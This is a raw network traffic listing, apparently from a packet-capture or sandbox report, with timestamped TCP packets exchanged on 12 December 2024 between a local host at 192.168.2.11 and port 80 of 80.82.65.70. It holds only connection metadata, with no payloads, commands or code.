                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.436821938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437091112 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437155008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437581062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437629938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437714100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.437753916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.438345909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.438391924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.438448906 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.438488007 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.439202070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.439254045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.439321995 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.439439058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.439951897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440088034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440120935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440159082 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440712929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440910101 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.440968037 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.441582918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.441677094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.441729069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.442266941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.442404985 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.442460060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443099022 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443137884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443217039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443506002 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443902969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.443939924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444025993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444062948 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444597960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444700956 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444747925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.444839954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.445621014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.445673943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.445753098 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.445822954 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446361065 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446458101 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446470976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446508884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446953058 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.446997881 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447079897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447273016 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447747946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447798014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447858095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.447906017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.448575020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.448622942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.448648930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.448662996 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.502610922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.502667904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.502684116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503098965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503150940 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503227949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503269911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503381968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503500938 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503854036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.503951073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.504010916 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.504586935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.504642963 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.538724899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.538861990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.538957119 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.538978100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.539160013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.539206982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.539972067 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540019989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540222883 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540755987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540788889 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540793896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540815115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.540828943 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541162014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541210890 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541270018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541359901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541865110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541913033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.541991949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.542033911 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.542663097 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.542711020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.542779922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.542826891 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.543451071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.543505907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.543540001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.543581009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.544224024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.544337034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.544387102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545006990 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545064926 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545125008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545171022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545808077 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545861959 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545881987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.545922041 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.546570063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.546627998 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.546658039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.546701908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.547358036 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.547410011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.547446012 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.547485113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.548152924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.548202038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.548238039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.548293114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.548960924 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549006939 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549134016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549176931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549721956 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549765110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549902916 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.549946070 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.550487041 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.550532103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.550616980 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.550659895 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.551275969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.551374912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.551413059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.552068949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.552194118 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.552249908 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.552901983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.552985907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.553046942 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.553641081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.553735018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.553780079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.617990971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618053913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618158102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618158102 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618211031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618350029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618392944 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618412971 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.618972063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619019032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619179964 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619225979 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619735003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619788885 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.619837046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.620323896 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.620368004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.620508909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.620554924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621071100 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621120930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621184111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621227980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621861935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.621907949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622047901 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622092962 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622654915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622704983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622740984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.622783899 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.623454094 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.623505116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.623572111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.623615980 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.624233961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.624277115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.624326944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.624367952 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625040054 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625087976 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625197887 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625406981 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625809908 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625853062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625940084 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.625992060 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.626544952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.626629114 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.626662970 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.626708984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.627357006 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.627408028 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.627502918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.627548933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.628123999 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.628144979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.628170967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.628185034 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.628961086 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.629077911 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.629141092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.629702091 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.629822016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.629877090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.630517960 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.630575895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.630634069 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.631267071 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.631335020 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.631364107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.631407022 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632066965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632116079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632198095 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632247925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632807016 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632858038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632946014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.632993937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.633831024 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.633878946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.633882046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.633922100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.634398937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.634449005 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.634483099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.634531021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.635236979 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.635284901 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.635354042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.635401011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.635962963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636009932 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636090994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636141062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636774063 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636826992 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636893034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.636931896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.637559891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.637612104 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.637634039 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.637690067 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.638338089 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.638386965 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.638402939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.638449907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639158010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639204025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639368057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639416933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639890909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639941931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639952898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.639991045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.640644073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.640692949 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.640718937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.640768051 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.694907904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695058107 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695102930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:07.695290089 CET804981980.82.65.70192.168.2.11
